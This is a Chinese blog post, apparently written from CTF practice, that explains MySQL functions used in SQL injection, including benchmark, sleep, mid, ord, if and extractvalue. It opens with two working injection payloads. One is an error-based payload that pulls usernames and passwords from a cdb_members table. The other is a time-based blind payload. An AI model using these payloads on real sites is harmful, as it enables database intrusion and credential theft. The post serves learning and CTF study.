关于sqli注入的特殊函数

2023-02-20 15:08:28 浏览数 (2)

最近几次参与的几个ctf比赛加上之前的对sql注入一段时间的研究,让我对sql注入有了新的认识,这里留存下几个函数的用法,到需要的时候可以拿出来用。

首先贴出来两个payload,下面根据这两个payload分析每一个函数。

代码语言:javascript复制
) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)###
代码语言:javascript复制
?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);

0x01 benchmark(x, y)

基于时间注入的时候经常用得到

代码语言:javascript复制
mysql > select benchmark(5000000,sha1(1));   //执行5000000次sha1(1)
 ---------------------------- 
| benchmark(5000000,sha1(1)) |
 ---------------------------- 
|                          0 |
 ---------------------------- 
1 row in set (2.58 sec)

是执行5000000对1的sha1加密,所以会有延迟。

0x02 sleep(x)

和上面相同,同样是造成时间的延迟

0x03 cast(x as type)

强制类型转换,把x转换为int char这样的

0x04 ifnull(expr1 , expr2)

如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。

代码语言:javascript复制
mysql> SELECT IFNULL(1,0);
 ------------- 
| IFNULL(1,0) |
 ------------- 
|           1 |
 ------------- 
1 row in set

0x05 mid(x,y,z)

SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。 在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。

代码语言:javascript复制
SELECT MID(ColumnName, Start [, Length])
FROM TableName

大概是指从字符串x中第y位取z位数 ps:这里的y是从1开始,并不是从0开始的

代码语言:javascript复制
mysql> SELECT MID('NowaMagic', 5, 5);
 ------------------------ 
| MID('NowaMagic', 5, 5) |
 ------------------------ 
| Magic                  |
 ------------------------ 
1 row in set

0x06 ORD(x)

ORD() 函数返回字符串第一个字符的 ASCII 值。

代码语言:javascript复制
mysql> SELECT ORD('i');
 ---------- 
| ORD('i') |
 ---------- 
|      105 |
 ---------- 
1 row in set

0x07 ASCII(x)

返回最左边的字符的字符串str的数值。如果str是空字符串,返回0。如果str为NULL,返回NULL

代码语言:javascript复制
SQL> SELECT ASCII('d');
 --------------------------------------------------------- 
| ASCII('d')                                              |
 --------------------------------------------------------- 
| 100                                                      |
 --------------------------------------------------------- 
1 row in set (0.00 sec)

0x08 substr(x,y,z)

和上面的mid()相同,就不赘述了

0x09 if(x,y,z)

如果x为真,则y,否则z 这里配合前面的函数就能构造出强大的盲注payload

代码语言:javascript复制
mysql > select if((ord(mid((select version()),1,1))) like 53,1,benchmark(5000000,sha1(1))) a;
 --- 
| a |
 --- 
| 1 |
 --- 
1 row in set (0.00 sec)

这里吧like换成<>都会变化

0x0a rand()

生成随机数,在0~1之间

0x0b concat(x,y)

SQL CONCAT函数用于将两个字符串连接起来,形成一个单一的字符串。

代码语言:javascript复制
SQL> SELECT CONCAT('FIRST ', 'SECOND');
 ---------------------------- 
| CONCAT('FIRST ', 'SECOND') |
 ---------------------------- 
| FIRST SECOND               |
 ---------------------------- 
1 row in set (0.00 sec)

这里的concat中间可以加入符号,比如0x20

0x0c count()

应该叫统计函数 COUNT(column_name) 函数返回指定列的值的数目 COUNT(*) 函数返回表中的记录数 COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:

0x0d procedure analyse()

可以接在LIMIT后面的子句只有PROCEDURE、INTO OUTFILE可以利用,根据官方手册,analyse后面可以有两个参数,像这样analyse(1,1)

0x0e floor,ExtractValue,UpdateXml报错注入

floor(rand(0)*2)) select extractvalue这样的函数都会报错

0x0f Lpad(),rpad()

0 人点赞